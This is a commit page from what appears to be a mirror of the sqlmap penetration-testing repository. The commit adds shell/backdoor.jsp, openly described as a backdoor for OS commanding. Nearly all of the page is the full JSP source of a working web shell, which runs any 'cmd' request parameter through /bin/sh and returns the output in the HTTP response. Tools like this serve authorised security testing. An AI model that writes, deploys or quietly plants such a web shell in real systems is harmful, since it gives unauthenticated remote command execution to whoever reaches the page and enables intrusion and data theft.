mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-16 12:49:02 +00:00
Added a JSP backdoor (GET /.../backdoor.jsp?cmd=<os command>) for long term new features for OS commanding
This commit is contained in:
47
shell/backdoor.jsp
Normal file
47
shell/backdoor.jsp
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
<%@ page import="java.io.*" %>
|
||||||
|
<%
|
||||||
|
|
||||||
|
Process p;
|
||||||
|
String s, cmd, html;
|
||||||
|
|
||||||
|
cmd = request.getParameter("cmd");
|
||||||
|
if (cmd == null) {
|
||||||
|
cmd = "pwd";
|
||||||
|
}
|
||||||
|
|
||||||
|
String []bashcmd = {"/bin/sh","-c",cmd};
|
||||||
|
|
||||||
|
html = request.getParameter("html");
|
||||||
|
|
||||||
|
if (html != null) {
|
||||||
|
out.println("<HTML>");
|
||||||
|
}
|
||||||
|
|
||||||
|
p = Runtime.getRuntime().exec(bashcmd);
|
||||||
|
|
||||||
|
BufferedReader stdInput = new BufferedReader(new
|
||||||
|
InputStreamReader(p.getInputStream()));
|
||||||
|
|
||||||
|
BufferedReader stdError = new BufferedReader(new
|
||||||
|
InputStreamReader(p.getErrorStream()));
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
while ((s = stdInput.readLine()) != null) {
|
||||||
|
out.println(s);
|
||||||
|
if (html != null) {
|
||||||
|
out.println("<br>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
while ((s = stdError.readLine()) != null) {
|
||||||
|
System.out.println(s);
|
||||||
|
if (html != null) {
|
||||||
|
out.println("<br>");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
%>
|
||||||
Reference in New Issue
Block a user